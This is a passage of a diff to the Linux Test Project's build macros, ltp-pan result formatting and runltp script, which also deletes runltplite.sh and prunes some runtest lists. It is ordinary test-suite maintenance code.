 	if test "x$have_numa_headers" != "xno"; then
-		AC_RUN_IFELSE([AC_LANG_PROGRAM([
+		AC_COMPILE_IFELSE([AC_LANG_PROGRAM([
 #include <numa.h>
 		], [
 #if LIBNUMA_API_VERSION < 2
-exit(1);
+# error Required numa headers >= 2
 #endif
 		])], [have_numa_headers_v2=yes])
 	fi
diff --git a/m4/ltp-perf_event.m4 b/m4/ltp-perf_event.m4
new file mode 100644
index 0000000..109ad49
--- /dev/null
+++ b/m4/ltp-perf_event.m4
@@ -0,0 +1,13 @@
+dnl
+dnl Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
+dnl
+dnl SPDX-License-Identifier: GPL-2.0-or-later
+dnl
+
+dnl
+dnl LTP_CHECK_PERF_EVENT
+dnl ----------------------------
+dnl
+AC_DEFUN([LTP_CHECK_PERF_EVENT],[
+AC_CHECK_MEMBERS([struct perf_event_mmap_page.aux_head],,,[#include <linux/perf_event.h>])
+])
diff --git a/m4/ltp-preadv2.m4 b/m4/ltp-preadv2.m4
new file mode 100644
index 0000000..a1e5327
--- /dev/null
+++ b/m4/ltp-preadv2.m4
@@ -0,0 +1,9 @@
+dnl SPDX-License-Identifier: GPL-2.0-or-later
+dnl Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+dnl Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+
+dnl LTP_CHECK_PREADV2
+dnl ----------------------------
+AC_DEFUN([LTP_CHECK_PREADV2],[
+AC_CHECK_FUNCS(preadv2,,)
+])
diff --git a/m4/ltp-pwritev2.m4 b/m4/ltp-pwritev2.m4
new file mode 100644
index 0000000..38148ac
--- /dev/null
+++ b/m4/ltp-pwritev2.m4
@@ -0,0 +1,9 @@
+dnl SPDX-License-Identifier: GPL-2.0-or-later
+dnl Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
+dnl Author: Jinhui Huang <huangjh.jy@cn.fujitsu.com>
+
+dnl LTP_CHECK_PWRITEV2
+dnl ----------------------------
+AC_DEFUN([LTP_CHECK_PWRITEV2],[
+AC_CHECK_FUNCS(pwritev2,,)
+])
diff --git a/m4/ltp-rlimit64.m4 b/m4/ltp-rlimit64.m4
new file mode 100644
index 0000000..dccb401
--- /dev/null
+++ b/m4/ltp-rlimit64.m4
@@ -0,0 +1,9 @@
+dnl SPDX-License-Identifier: GPL-2.0-or-later
+dnl Copyright (c) 2018 Google, Inc.
+
+AC_DEFUN([LTP_CHECK_RLIMIT64],[
+AC_CHECK_TYPES([struct rlimit64],,,[
+#define _LARGEFILE64_SOURCE
+#include <sys/resource.h>
+])
+])
diff --git a/m4/ltp-statx.m4 b/m4/ltp-statx.m4
new file mode 100644
index 0000000..7629f51
--- /dev/null
+++ b/m4/ltp-statx.m4
@@ -0,0 +1,33 @@
+dnl
+dnl Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+dnl
+dnl This program is free software;  you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY;  without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+dnl the GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program;  if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+dnl
+
+dnl
+dnl LTP_CHECK_STATX
+dnl ----------------------------
+dnl
+AC_DEFUN([LTP_CHECK_STATX],[
+AC_CHECK_FUNCS(statx,,)
+AC_CHECK_HEADER(linux/fs.h,,,)
+AC_CHECK_TYPES([struct statx],,,[[
+	#define _GNU_SOURCE
+	#include <sys/stat.h>
+]])
+AC_CHECK_TYPES([struct statx_timestamp],,,[[
+	#define _GNU_SOURCE
+	#include <sys/stat.h>]])
+])
diff --git a/m4/ltp-syncfs.m4 b/m4/ltp-syncfs.m4
new file mode 100644
index 0000000..836a055
--- /dev/null
+++ b/m4/ltp-syncfs.m4
@@ -0,0 +1,10 @@
+dnl SPDX-License-Identifier: GPL-2.0-or-later
+dnl Copyright (c) 2019 Linaro Limited. All rights reserved.
+
+dnl
+dnl LTP_CHECK_SYNCFS
+dnl ----------------------------
+dnl
+AC_DEFUN([LTP_CHECK_SYNCFS],[
+AC_CHECK_FUNCS(syncfs,,)
+])
diff --git a/m4/ltp-tirpc.m4 b/m4/ltp-tirpc.m4
index d9b4e61..707c373 100644
--- a/m4/ltp-tirpc.m4
+++ b/m4/ltp-tirpc.m4
@@ -24,7 +24,7 @@
 	TIRPC_CPPFLAGS=""
 	TIRPC_LIBS=""
 
-	AC_CHECK_HEADER(tirpc/netconfig.h,[
+	AC_CHECK_HEADERS([tirpc/netconfig.h netconfig.h], [
 		TIRPC_CPPFLAGS="-I${SYSROOT}/usr/include/tirpc"
 		AC_DEFINE(HAVE_LIBTIRPC, 1, [Define to 1 if you have libtirpc headers installed])
 		AC_CHECK_LIB(tirpc, rpcb_set, [TIRPC_LIBS="-ltirpc"])])
diff --git a/pan/ltp-pan.c b/pan/ltp-pan.c
index a2bb9b7..8ac484e 100644
--- a/pan/ltp-pan.c
+++ b/pan/ltp-pan.c
@@ -130,6 +130,9 @@
 zoo_t zoofile;
 static char *reporttype = NULL;
 
+/* Common format string for ltp-pan results */
+#define ResultFmt	"%-50s %-10.10s"
+
 /* zoolib */
 int rec_signal;			/* received signal */
 int send_signal;		/* signal to send */
@@ -350,9 +353,9 @@
 			fprintf(logfile, "Test Start Time: %s\n", s);
 			fprintf(logfile,
 				"-----------------------------------------\n");
-			fprintf(logfile, "%-30.20s %-10.10s %-10.10s\n",
+			fprintf(logfile, ResultFmt" %-10.10s\n",
 				"Testcase", "Result", "Exit Value");
-			fprintf(logfile, "%-30.20s %-10.10s %-10.10s\n",
+			fprintf(logfile, ResultFmt" %-10.10s\n",
 				"--------", "------", "------------");
 		}
 		fflush(logfile);
@@ -825,7 +828,7 @@
 						}
 
 						fprintf(logfile,
-							"%-30.30s %-10.10s %-5d\n",
+							ResultFmt" %-5d\n",
 							running[i].cmd->name,
 							result_str,
 							w);
@@ -1104,7 +1107,7 @@
 				if (termid != 0)
 					++ * failcnt;
 
-				fprintf(logfile, "%-30.30s %-10.10s %-5d\n",
+				fprintf(logfile, ResultFmt" %-5d\n",
 					colle->name,
 					((termid != 0) ? "FAIL" : "PASS"),
 					termid);
diff --git a/runltp b/runltp
index 302c4a7..928696b 100755
--- a/runltp
+++ b/runltp
@@ -78,7 +78,7 @@
     }
     export LTPROOT=${PWD}
     export TMPBASE="/tmp"
-    export PATH="${PATH}:${LTPROOT}/testcases/bin"
+    export PATH="${PATH}:${LTPROOT}/testcases/bin:${LTPROOT}/bin"
 
     export LTP_DEV_FS_TYPE="ext2"
 
@@ -570,77 +570,34 @@
       INSTANCES="$INSTANCES -O ${TMP}"
     }
 
-    [ "$RUN_NETEST" -eq 1 ] && \
-    {
-        [ -z "$RHOST" ] || [ -z "$PASSWD" ] && \
-        {
-            [ -z "$RHOST" ] && \
-            {
-                printf "INFO: Enter RHOST = 'name of the remote host machine'"
-                printf "\n-> "
-                read RHOST
-            }
-
-            [ -z "$PASSWD" ] && \
-            {
-                printf "\nINFO: "
-                printf "Enter PASSWD = 'root passwd of the remote host machine'"
-                printf "\n-> "
-                read PASSWD
-            }
-            export RHOST=$RHOST
-            export PASSWD=$PASSWD
-            echo "WARNING: security of $RHOST may be compromised"
-        }
-    }
-
     # If user does not provide a command file select a default set of testcases
     # to execute.
-    if [ -z "$CMDFILES" ] && [ -z "$CMDFILEADDR" ]
-    then
-        cat <<-EOF >&1
+    if [ -z "$CMDFILES" ] && [ -z "$CMDFILEADDR" ]; then
 
-    INFO: no command files were provided. Will execute the following
-          runtest scenario files:
-
-`cat $LTPROOT/scenario_groups/default | tr '\012' ' '`
-
-	EOF
-
-	SCENARIO_LISTS="$LTPROOT/scenario_groups/default"
+        SCENARIO_LISTS="$LTPROOT/scenario_groups/default"
         if [ "$RUN_NETEST" -eq 1 ]; then
-            SCENARIO_LISTS="$SCENARIO_LISTS $LTPROOT/scenario_groups/network"
+            SCENARIO_LISTS="$LTPROOT/scenario_groups/network"
         fi
 
-    # DO NOT INDENT/DEDENT!
-        if [ -n "$SCENARIO_LISTS" ]; then
-            # Insurance to make sure that the first element in the pipe
-            # completed successfully.
-            cat_ok_sentinel=$TMP/cat_ok.$$
-	    (cat $SCENARIO_LISTS && touch "$cat_ok_sentinel") | \
-                while read scenfile; do
+        cat <<-EOF >&1
+INFO: no command files were provided. Executing following runtest scenario files:
+`cat $SCENARIO_LISTS | tr '\012' ' '`
 
-                    scenfile=${LTPROOT}/runtest/$scenfile
+EOF
+        cat_ok_sentinel=$TMP/cat_ok.$$
+        touch "$cat_ok_sentinel"
+        cat $SCENARIO_LISTS | while read scenfile; do
+            scenfile=${LTPROOT}/runtest/$scenfile
+            [ -f "$scenfile" ] || continue
 
-                    # Skip over non-existent scenario files; things are
-                    # robust enough now that the build will fail if these
-                    # files don't exist.
-                    [ -f "$scenfile" ] || continue
-
-                    cat $scenfile >> "$TMP/alltests" || {
-                        echo "FATAL: unable to append to command file"
-                        rm -Rf "$TMP"
-                        rm -f "$cat_ok_sentinel"
-                        exit 1
-                    }
-
-                done
-
-            rm -f "$cat_ok_sentinel"
-
-        fi
-    # ^^DO NOT INDENT/DEDENT!^^
-
+            cat $scenfile >> "$TMP/alltests" || {
+                echo "FATAL: unable to append to command file"
+                rm -Rf "$TMP"
+                rm -f "$cat_ok_sentinel"
+                exit 1
+            }
+        done
+        rm -f "$cat_ok_sentinel"
     fi
 
     [ -n "$CMDFILES" ] && \
@@ -890,78 +847,73 @@
 
     fi
 
-    if [ "$ALT_EMAIL_OUT" -eq 1 ] ; then                      ## User wants reports to be e-mailed
-       if [ [ ! "$HTMLFILE_NAME" ] -o [ ! "$OUTPUTFILE_NAME" ] -o [ ! "$LOGFILE_NAME" ] ] ; then
-          ##User does not have output/logs/html-output, nothing to be mailed in this situation
-          echo "Nothing to be mailed here...."
-       else
-           TAR_FILE_NAME=LTP_RUN_$version_date$DEFAULT_FILE_NAME_GENERATION_TIME.tar
-           if [ "$HTMLFILE_NAME" ] ; then                          ## HTML file Exists
-              if [ "$ALT_HTML_OUT" -ne 1 ] ; then                  ## The HTML file path is absolute and not $LTPROOT/output
-                 mkdir -p $LTPROOT/output                          ## We need to create this Directory
-                 cp $HTMLFILE_NAME $LTPROOT/output/
-              fi
-           fi
-           if [ "$OUTPUTFILE_NAME" ] ; then                        ## Output file exists
-              if [ "$ALT_DIR_OUT" -ne 1 ] ; then                   ## The Output file path is absolute and not $LTPROOT/output
-                 mkdir -p $LTPROOT/output                          ## We need to create this Directory
-                 cp $OUTPUTFILE_NAME $LTPROOT/output/
-              fi
-           fi
-           if [ "$LOGFILE_NAME" ] ; then                           ## Log file exists
-              if [ "$ALT_DIR_RES" -ne 1 ] ; then                   ## The Log file path is absolute and not $LTPROOT/results
-                 mkdir -p $LTPROOT/results                         ## We need to create this Directory
-                 cp $LOGFILE_NAME $LTPROOT/results/
-              fi
-           fi
-           if [ -d $LTPROOT/output ] ; then
-              tar -cf  ./$TAR_FILE_NAME $LTPROOT/output
-              if [ $? -eq 0 ]; then
-                 echo "Created TAR File: ./$TAR_FILE_NAME successfully, added $LTPROOT/output"
-              else
-                 echo "Cannot Create TAR File: ./$TAR_FILE_NAME for adding $LTPROOT/output"
-              fi
-           fi
-           if [ -d $LTPROOT/results ] ; then
-              tar -uf ./$TAR_FILE_NAME $LTPROOT/results
-              if [ $? -eq 0 ]; then
-                 echo "Updated TAR File: ./$TAR_FILE_NAME successfully, added $LTPROOT/results"
-              else
-                 echo "Cannot Update TAR File: ./$TAR_FILE_NAME for adding $LTPROOT/results"
-              fi
-           fi
-           if [ -e $LTPROOT/nohup.out ] ; then                     ## If User would have Chosen nohup to do ltprun
-              tar -uf ./$TAR_FILE_NAME $LTPROOT/nohup.out
-              if [ $? -eq 0 ]; then
-                 echo "Updated TAR File: ./$TAR_FILE_NAME successfully, added $LTPROOT/nohup.out"
-              else
-                 echo "Cannot Update TAR File: ./$TAR_FILE_NAME for adding $LTPROOT/nohup.out"
-              fi
-           fi
-           gzip ./$TAR_FILE_NAME                                     ## gzip this guy
-           if [ $? -eq 0 ]; then
-              echo "Gunzipped TAR File: ./$TAR_FILE_NAME"
-           else
-              echo "Cannot Gunzip TAR File: ./$TAR_FILE_NAME"
-           fi
-           if [ -e /usr/bin/mutt ] ; then                          ## This is a better mail client than others
-              echo "Starting mailing reports to: $EMAIL_TO, file: ./$TAR_FILE_NAME.gz"
-              mutt -a ./$TAR_FILE_NAME.gz -s "LTP Reports on $test_start_time" $EMAIL_TO < /dev/null
-              if [ $? -eq 0 ]; then
-                 echo "Reports Successfully mailed to: $EMAIL_TO"
-              else
-                 echo "Reports cannot be mailed to: $EMAIL_TO"
-              fi
-           else ## Use our Ageold mail program
-              echo "Starting mailing reports to: $EMAIL_TO, file: ./$TAR_FILE_NAME.gz"
-              uuencode ./$TAR_FILE_NAME.gz $TAR_FILE_NAME.gz | mail  $EMAIL_TO -s "LTP Reports on $test_start_time"
-              if [ $? -eq 0 ]; then
-                 echo "Reports Successfully mailed to: $EMAIL_TO"
-              else
-                 echo "Reports cannot be mailed to: $EMAIL_TO"
-              fi
-           fi
-       fi
+    if [ "$ALT_EMAIL_OUT" -eq 1 ] ; then                    ## User wants reports to be e-mailed
+        TAR_FILE_NAME=LTP_RUN_$version_date$DEFAULT_FILE_NAME_GENERATION_TIME.tar
+        if [ "$HTMLFILE_NAME" ] ; then                      ## HTML file Exists
+            if [ "$ALT_HTML_OUT" -ne 1 ] ; then             ## The HTML file path is absolute and not $LTPROOT/output
+                mkdir -p $LTPROOT/output                    ## We need to create this Directory
+                cp $HTMLFILE_NAME $LTPROOT/output/
+            fi
+        fi
+        if [ "$OUTPUTFILE_NAME" ] ; then                    ## Output file exists
+            if [ "$ALT_DIR_OUT" -ne 1 ] ; then              ## The Output file path is absolute and not $LTPROOT/output
+                mkdir -p $LTPROOT/output                    ## We need to create this Directory
+                cp $OUTPUTFILE_NAME $LTPROOT/output/
+            fi
+        fi
+        if [ "$LOGFILE_NAME" ] ; then                       ## Log file exists
+            if [ "$ALT_DIR_RES" -ne 1 ] ; then              ## The Log file path is absolute and not $LTPROOT/results
+                mkdir -p $LTPROOT/results                   ## We need to create this Directory
+                cp $LOGFILE_NAME $LTPROOT/results/
+            fi
+        fi
+        if [ -d $LTPROOT/output ] ; then
+            tar -cf  ./$TAR_FILE_NAME $LTPROOT/output
+            if [ $? -eq 0 ]; then
+                echo "Created TAR File: ./$TAR_FILE_NAME successfully, added $LTPROOT/output"
+            else
+                echo "Cannot Create TAR File: ./$TAR_FILE_NAME for adding $LTPROOT/output"
+            fi
+        fi
+        if [ -d $LTPROOT/results ] ; then
+            tar -uf ./$TAR_FILE_NAME $LTPROOT/results
+            if [ $? -eq 0 ]; then
+                echo "Updated TAR File: ./$TAR_FILE_NAME successfully, added $LTPROOT/results"
+            else
+                echo "Cannot Update TAR File: ./$TAR_FILE_NAME for adding $LTPROOT/results"
+            fi
+        fi
+        if [ -e $LTPROOT/nohup.out ] ; then                 ## If User would have Chosen nohup to do ltprun
+            tar -uf ./$TAR_FILE_NAME $LTPROOT/nohup.out
+            if [ $? -eq 0 ]; then
+                echo "Updated TAR File: ./$TAR_FILE_NAME successfully, added $LTPROOT/nohup.out"
+            else
+                echo "Cannot Update TAR File: ./$TAR_FILE_NAME for adding $LTPROOT/nohup.out"
+            fi
+        fi
+        gzip ./$TAR_FILE_NAME                               ## gzip this guy
+        if [ $? -eq 0 ]; then
+            echo "Gunzipped TAR File: ./$TAR_FILE_NAME"
+        else
+            echo "Cannot Gunzip TAR File: ./$TAR_FILE_NAME"
+        fi
+        if which mutt >/dev/null 2>&1; then
+            echo "Starting mailing reports to: $EMAIL_TO, file: ./$TAR_FILE_NAME.gz"
+            mutt -a ./$TAR_FILE_NAME.gz -s "LTP Reports on $test_start_time" -- $EMAIL_TO < /dev/null
+            if [ $? -eq 0 ]; then
+                echo "Reports Successfully mailed to: $EMAIL_TO"
+            else
+                echo "Reports cannot be mailed to: $EMAIL_TO"
+            fi
+        else ## Use our Ageold mail program
+            echo "Starting mailing reports to: $EMAIL_TO, file: ./$TAR_FILE_NAME.gz"
+            uuencode ./$TAR_FILE_NAME.gz $TAR_FILE_NAME.gz | mail  $EMAIL_TO -s "LTP Reports on $test_start_time"
+            if [ $? -eq 0 ]; then
+                echo "Reports Successfully mailed to: $EMAIL_TO"
+            else
+                echo "Reports cannot be mailed to: $EMAIL_TO"
+            fi
+        fi
     fi
 
     [ ! -z "$QUIET_MODE" ] && { echo "INFO: Test end time: $(date)" ; }
diff --git a/runltplite.sh b/runltplite.sh
deleted file mode 100755
index 17be009..0000000
--- a/runltplite.sh
+++ /dev/null
@@ -1,391 +0,0 @@
-#!/bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2001,2005            ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
-# File: runltplite
-#
-# Description:  This script can be used to run a subset the tests in the LTP test suite
-#               This script is typically used as a quick test to check an install base.
-#
-# Authors:      Manoj Iyer - manoji@us.ibm.com
-#               Robbie Williamson - robbiew@us.ibm.com
-#               Marty Ridgeway - mridge@us.ibm.com
-#
-# History:      Created runltplite script to run a subset of the LTP testsuite
-#
-#
-#
-#
-#
-#
-#
-#
-
-. "$(dirname $0)/runltp"
-
-setup()
-{
-    cd `dirname $0` || \
-    {
-        echo "FATAL: unable to change directory to $(dirname $0)"
-        exit 1
-    }
-    export LTPROOT=${PWD}
-    export TMPBASE="/tmp"
-    export TMP="${TMPBASE}/ltp-$$"
-    export PATH="${PATH}:${LTPROOT}/testcases/bin"
-
-    export LTP_DEV=""
-    export LTP_DEV_FS_TYPE="ext2"
-
-    [ -d $LTPROOT/testcases/bin ] ||
-    {
-        echo "FATAL: LTP not installed correctly"
-        echo "INFO:  Follow directions in INSTALL!"
-        exit 1
-    }
-
-    [ -e $LTPROOT/bin/ltp-pan ] ||
-    {
-        echo "FATAL: Test suite driver 'ltp-pan' not found"
-        echo "INFO:  Follow directions in INSTALL!"
-        exit 1
-    }
-}
-
-
-usage()
-{
-    cat <<-EOF >&2
-
-    usage: ${0##*/} -c [-d TMPDIR] [-i # (in Mb)]
-    [ -l LOGFILE ] [ -o OUTPUTFILE ] [ -m # (in Mb)] -N -q
-    [ -r LTPROOT ] -v
-
-    -c NUM_PROCS    Run LTP under additional background CPU load.
-    -d TMPDIR       Directory where temporary files will be created.
-    -h              Help. Prints all available options.
-    -i # (in Mb)    Run LTP with a _min_ IO load of # Mb in background.
-    -l LOGFILE      Log results of test in a logfile.
-    -m # (in Mb)    Run LTP with a _min_ memory load of # Mb in background.
-    -N              Run all the networking tests.
-    -o OUTPUTFILE   Redirect test output to a file.
-    -p              Human readable format logfiles.
-    -q              Print less verbose output to screen.
-    -r LTPROOT      Fully qualified path where testsuite is installed.
-    -S SKIPFILE     Skip tests specified in SKIPFILE.
-    -b DEVICE       Some tests require an unmounted block device to run
-                    correctly.
-    -B LTP_DEV_FS_TYPE  The file system of test block devices.
-
-    example: ${0##*/} -i 1024 -m 128 -p -q  -l /tmp/resultlog.$$ -d ${PWD}
-
-
-	EOF
-exit 0
-}
-
-
-main()
-{
-    local CMDFILE="ltplite"
-    local PRETTY_PRT=""
-    local ALT_DIR=0
-    local RUN_NETEST=0
-    local QUIET_MODE=""
-    local VERBOSE_MODE=""
-    local NETPIPE=0
-    local GENLOAD=0
-    local MEMSIZE=0
-    local DURATION=""
-    local BYTESIZE=0
-    local LOGFILE=""
-    local PRETTY_PRT=""
-    local TAG_RESTRICT_STRING=""
-    local PAN_COMMAND=""
-
-    local scenfile=""
-
-    while getopts c:d:hi:l:m:No:pqr:S:b:B: arg
-    do  case $arg in
-        c)
-	    NUM_PROCS=$(($OPTARG))
-            $LTPROOT/testcases/bin/genload --cpu $NUM_PROCS >/dev/null 2>&1 &
-            GENLOAD=1 ;;
-
-        d)  # append $$ to TMP, as it is recursively
-            # removed at end of script.
-            TMPBASE=$OPTARG
-            TMP="${TMPBASE}/ltp-$$"
-            export TMPDIR="$TMP";;
-
-        h)  usage;;
-
-        i)
-            BYTESIZE=$(($OPTARG * 1024 * 1024))
-            $LTPROOT/testcases/bin/genload --io 1 >/dev/null 2>&1 &
-            $LTPROOT/testcases/bin/genload --hdd 0 --hdd-bytes $BYTESIZE \
-            >/dev/null 2>&1 &
-            GENLOAD=1 ;;
-
-        l)
-
-            [ ! -d $LTPROOT/results ] && \
-            {
-               echo "INFO: creating $LTPROOT/results directory"
-               mkdir -p $LTPROOT/results || \
-               {
-                   echo "ERROR: failed to create $LTPROOT/results"
-                   exit 1
-                }
-            }
-            case $OPTARG in
-	    /*)
-                LOGFILE="-l $OPTARG" ;;
-            *)
-                LOGFILE="-l $LTPROOT/results/$OPTARG"
-                ALT_DIR=1 ;;
-            esac ;;
-
-        m)
-            MEMSIZE=$(($OPTARG * 1024 * 1024))
-            $LTPROOT/testcases/bin/genload  --vm 0 --vm-bytes $MEMSIZE \
-                >/dev/null 2>&1 &
-            GENLOAD=1;;
-
-        N)  RUN_NETEST=1;;
-
-        o)  OUTPUTFILE="-o $OPTARG" ;;
-
-        p)  PRETTY_PRT=" -p ";;
-
-        q)  QUIET_MODE=" -q ";;
-
-        r)  LTPROOT=$OPTARG;;
-
-        S)  case $OPTARG in
-                /*)
-                    SKIPFILE=$OPTARG;;
-                *)
-                    SKIPFILE="$LTPROOT/$OPTARG";;
-            esac ;;
-
-        b)  DEVICE=$OPTARG;;
-
-        B)  LTP_DEV_FS_TYPE=$OPTARG;;
-
-
-        \?) usage;;
-        esac
-    done
-
-
-    mkdir -p $TMP || \
-    {
-        echo "FATAL: Unable to make temporary directory $TMP"
-        exit 1
-    }
-
-    cd $TMP || \
-    {
-      echo "could not cd ${TMP} ... exiting"
-      exit 1
-    }
-
-# Run Networking tests ?
-
-    [ "$RUN_NETEST" -eq 1 ] && \
-    {
-        [ -z "$RHOST" ] || [ -z "$PASSWD" ] && \
-        {
-            [ -z "$RHOST" ] && \
-            {
-                echo \
-                "INFO: Enter RHOST = 'name of the remote host machine'"
-                echo -n "-> "
-                read RHOST
-            }
-
-            [ -z "$PASSWD" ] && \
-            {
-                echo " "
-                echo \
-                "INFO: Enter PASSWD = 'root passwd of the remote host machine'"
-                echo -n "-> "
-                read PASSWD
-            }
-            export RHOST=$RHOST
-            export PASSWD=$PASSWD
-            echo "WARNING: security of $RHOST may be compromised"
-        }
-    }
-
-    # If user does not provide a command file select a default set of testcases
-    # to execute.
-    if   [ -f $CMDFILE ] || \
-                CMDFILE="$LTPROOT/runtest/$CMDFILE"
-	then
-        cat $CMDFILE > ${TMP}/alltests || \
-        {
-            echo "FATAL: Unable to create command file"
-            exit 1
-        }
-    fi
-
-    if [ "$RUN_NETEST" -eq 1 ]; then
-        SCENARIO_LISTS="$SCENARIO_LISTS $LTPROOT/scenario_groups/network"
-    fi
-
-    # DO NOT INDENT/DEDENT!
-        if [ -n "$SCENARIO_LISTS" ]; then
-            # Insurance to make sure that the first element in the pipe
-            # completed successfully.
-            cat_ok_sentinel=$TMP/cat_ok.$$
-	    (cat $SCENARIO_LISTS && touch "$cat_ok_sentinel") | \
-                while read scenfile; do
-
-                    scenfile=${LTPROOT}/runtest/$scenfile
-
-                    # Skip over non-existent scenario files; things are
-                    # robust enough now that the build will fail if these
-                    # files don't exist.
-                    [ -f "$scenfile" ] || continue
-
-                    cat $scenfile >> "$TMP/alltests" || {
-                        echo "FATAL: unable to append to command file"
-                        rm -Rf "$TMP"
-                        rm -f "$cat_ok_sentinel"
-                        exit 1
-                    }
-
-                done
-
-            rm -f "$cat_ok_sentinel"
-
-        fi
-    # ^^DO NOT INDENT/DEDENT!^^
-
-    # The fsx-linux tests use the SCRATCHDEV environment variable as a location
-    # that can be reformatted and run on.  Set SCRATCHDEV if you want to run
-    # these tests.  As a safeguard, this is disabled.
-    unset SCRATCHDEV
-    [ -n "$SCRATCHDEV" ] && \
-    {
-         cat ${LTPROOT}/runtest/fsx >> ${TMP}/alltests ||
-         {
-             echo "FATAL: unable to create  fsx-linux tests command file"
-             exit 1
-         }
-    }
-
-    # check for required users and groups
-    ${LTPROOT}/IDcheck.sh >/dev/null 2>&1 || \
-    {
-        echo "WARNING: required users and groups not present"
-        echo "WARNING: some test cases may fail"
-    }
-
-    [ -n "$CMDFILES" ] && \
-    {
-        for scenfile in `echo "$CMDFILES" | tr ',' ' '`
-        do
-            [ -f "$scenfile" ] || scenfile="$LTPROOT/runtest/$scenfile"
-            cat "$scenfile" >> ${TMP}/alltests || \
-            {
-                echo "FATAL: unable to create command file"
-                rm -Rf "$TMP"
-                exit 1
-            }
-        done
-    }
-
-    # Blacklist or skip tests if a SKIPFILE was specified with -S
-    if [ -n "${SKIPFILE}" ]; then
-        for test_name in $(awk '{print $1}' "${SKIPFILE}"); do
-            case "${test_name}" in \#*) continue;; esac
-            sed -i "/\<${test_name}\>/c\\${test_name} exit 32;" alltests
-        done
-    fi
-
-    # display versions of installed software
-    [ -z "$QUIET_MODE" ] && \
-    {
-        ${LTPROOT}/ver_linux || \
-        {
-            echo "WARNING: unable to display versions of software installed"
-            exit 1
-        }
-    }
-
-    set_block_device
-
-    [ ! -z "$QUIET_MODE" ] && { echo "INFO: Test start time: $(date)" ; }
-    PAN_COMMAND="${LTPROOT}/bin/ltp-pan $QUIET_MODE -e -S $INSTANCES $DURATION -a $$ \
-    -n $$ $PRETTY_PRT -f ${TMP}/alltests $LOGFILE $OUTPUTFILE"
-    if [ ! -z "$VERBOSE_MODE" ] ; then
-      echo "COMMAND:    $PAN_COMMAND"
-      if [ ! -z "$TAG_RESTRICT_STRING" ] ; then
-        echo "INFO: Restricted to $TAG_RESTRICT_STRING"
-      fi
-    fi
-    #$PAN_COMMAND #Duplicated code here, because otherwise if we fail, only "PAN_COMMAND" gets output
-    # Some tests need to run inside the "bin" directory.
-    cd "${LTPROOT}/testcases/bin"
-    ${LTPROOT}/bin/ltp-pan $QUIET_MODE -e -S $INSTANCES $DURATION -a $$ \
-    -n $$ $PRETTY_PRT -f ${TMP}/alltests $LOGFILE $OUTPUTFILE
-
-    if [ $? -eq 0 ]; then
-      echo "INFO: ltp-pan reported all tests PASS"
-      VALUE=0
-    else
-      echo "INFO: ltp-pan reported some tests FAIL"
-      VALUE=1
-    fi
-    cd ..
-    [ ! -z "$QUIET_MODE" ] && { echo "INFO: Test end time: $(date)" ; }
-
-    [ "$GENLOAD" -eq 1 ] && { killall -9 genload ; }
-    [ "$NETPIPE" -eq 1 ] && { killall -9 NPtcp ; }
-
-    [ "$ALT_DIR" -eq 1 ] && \
-    {
-    cat <<-EOF >&1
-
-       ###############################################################"
-
-            Done executing testcases."
-            result log is in the $LTPROOT/results directory"
-
-       ###############################################################"
-
-	EOF
-    }
-    exit $VALUE
-}
-
-cleanup()
-{
-    rm -rf ${TMP}
-}
-
-trap "cleanup" 0
-setup
-main "$@"
-
-#vim: syntax=sh
diff --git a/runtest/admin_tools b/runtest/admin_tools
deleted file mode 100644
index 0a46468..0000000
--- a/runtest/admin_tools
+++ /dev/null
@@ -1,9 +0,0 @@
-su01 export TCbin=$LTPROOT/testcases/bin;su01
-#cron01 cron01
-cron02 cron02
-cron_deny01 cron_deny01
-cron_allow01 cron_allow01
-cron_dirs_checks01 cron_dirs_checks01
-at_deny01 at_deny01
-at_allow01 at_allow01
-acl_test01 acl_test01
diff --git a/runtest/commands b/runtest/commands
index 92df3af..ac15e8b 100644
--- a/runtest/commands
+++ b/runtest/commands
@@ -1,46 +1,42 @@
 #DESCRIPTION:General Linux commands
-ar export TCdat=$LTPROOT/testcases/bin; ar01
-ld01 ld01
-ldd01 ldd01
-nm01 nm01
-file01 file01.sh
-tar01  tar_tests.sh
-cron cron_tests.sh
-logrotate export TCdat=$LTPROOT/testcases/bin; logrotate_tests.sh
-mail export TCdat=$LTPROOT/testcases/bin; mail_tests.sh
-cpio01 cpio_tests.sh
-unzip01 unzip01.sh
-gzip01 gzip_tests.sh
-cp01 cp_tests.sh
-ln01 ln_tests.sh
-mkdir01 mkdir_tests.sh
-mv01 mv_tests.sh
-sssd01 sssd01
-sssd02 sssd02
-sssd03 sssd03
-du01 du01.sh
-df01_ext2 df01.sh -f ext2
-df01_ext3 df01.sh -f ext3
-df01_ext4 df01.sh -f ext4
-df01_xfs df01.sh -f xfs
-df01_vfat df01.sh -f vfat
-df01_exfat df01.sh -f exfat
-df01_ntfs df01.sh -f ntfs
-mkfs01 mkfs01.sh
-mkfs01_ext2 mkfs01.sh -f ext2
-mkfs01_ext3 mkfs01.sh -f ext3
-mkfs01_ext4 mkfs01.sh -f ext4
-mkfs01_xfs mkfs01.sh -f xfs
-mkfs01_btrfs mkfs01.sh -f btrfs
